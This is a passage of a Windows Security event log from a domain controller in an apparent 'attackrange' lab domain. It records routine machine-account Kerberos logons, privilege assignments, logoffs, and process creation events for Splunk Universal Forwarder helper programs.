- -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x441F78 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65500 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:38:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256676 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x441F78 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:39:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256679 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256681 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256680 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256683 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256684 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256685 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:39:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256688 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4454C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:39:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256687 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4454C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65513 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:39:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256686 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4454C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:40:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256690 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:40:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256698 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x448A01 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:40:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256697 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x448A01 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65526 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:40:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256696 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x448A01 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:41:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256700 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process 